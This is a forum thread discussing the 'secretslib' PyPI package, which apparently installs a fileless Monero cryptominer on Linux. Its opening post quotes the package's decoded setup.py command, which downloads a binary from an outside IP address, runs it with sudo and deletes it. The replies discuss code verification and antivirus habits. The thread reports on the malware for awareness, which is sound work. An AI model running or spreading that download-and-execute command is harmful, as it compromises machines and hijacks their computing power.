Another miner hidden in PyPI package

[PawGo]

'secretslib' PyPI package covertly runs cryptominers on Linux machine in-memory (directly from your RAM).
The package, at the time of its release, claimed to be a library that "helps with matching and verification of secrets". The main 'setup.py' script inside the package contains straightforward base64-encoded instructions:

Code:

sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h
sudo ./tox
rm ./tox

The stipped 'tox' binary has a clean reputation on VirusTotal [archived], as it achieves 'zero detection' across virtually every antivirus engine. The malicious code dropped by 'tox' (referred to as 'memfd' by VirusTotal) is a Monero cryptominer. 'secretslib' package deletes 'tox' as soon as it runs, and the cryptomining code injected by 'tox' resides within the system's volatile memory (RAM) as opposed to the hard drive, the malicious activity leaves little to no footprint and is quite "invisible" in a forensic sense.


More details: https://blog.sonatype.com/pypi-package-secretslib-drops-fileless-linux-malware-to-mine-monero

[1715277433]

1715277433

[1715277433]

1715277433

[1715277433]

1715277433

[DaveF]

Saw this a few days ago. From what I have seen you would either have to install it yourself or run another installer that will download / install / run it.
Did not look at it that closely since I do not do that much with python so I have no idea how bad the real situation is.

Goes back to what has been discussed here a few times. Open source, verifiable code is great. If you take the time to verify it and know enough (which is difficult) to see where the bad this are.

-Dave

[NeuroticFish]

I do not do that much with python so I have no idea how bad the real situation is.

I don't do much python either, but I've seen that quite a big amount of bitcoin related tools are made in python (Electrum, some flavors its servers, block explorers, wallet recovery, ...)
Maybe somebody tells us whether somebody with not much of linux skills might have gotten this on his computer just because he tried to compile/install some tools.

[NotATether]

So the good news is, that linux scripts are not identified as malware.

The bad news is, if this keeps up, then every single linux script will be flagged as bogus malware by AVs since they won't bother to put a scripting language in their already-packed binaries full of neural networks and ML models.

How about this:

- AV figures out if the user is a newbie or a power user (90% of all users will be newbies).
- If it's a newbie user, anything which is remotely incomprehensible like linux scripts or NirSoft programs on Windows are quarantined and destroyed.
- But if it's a power user, then it should leave the damn scripts alone, and only destroy proper malware programs.

[DaveF]

I think what @NotATether is saying is:
"Hi, we are the internet, we are not your mother, we do not look out for you."

Interestingly we see more and more of these things aboutthis time every year.
You know the week before and after BlackHat https://www.blackhat.com/us-22/ and DefCon: https://defcon.org/

Makes you wonder how many are found weeks if not months before but not posted / discussed till then so people can have a bit more face to face bragging about it.
People are people and they will do stuff like that.....

-Dave

[DaveF]

Makes you wonder how many are found weeks if not months before but not posted / discussed till then so people can have a bit more face to face bragging about it.

I'm not exactly sure what you mean, but this kind of report regularly pop up. Try searching "pypi malicious package" or "npm malicious package" and you'll see lots of results.

I tend to see more of them from say the last week in July to the 2nd week in August. And they are extensively discussed at the hacking conventions.
Could just be I am paying a bit more attention around now because I am looking and listening to that stuff more. Or, do the reports slow down a bit a while before as people 'hoard' the vulnerabilities.
Someone would really have to dig into the reporting dates over a number of years and do some statistics (neither of which I am going to do) to prove or disprove it.

-Dave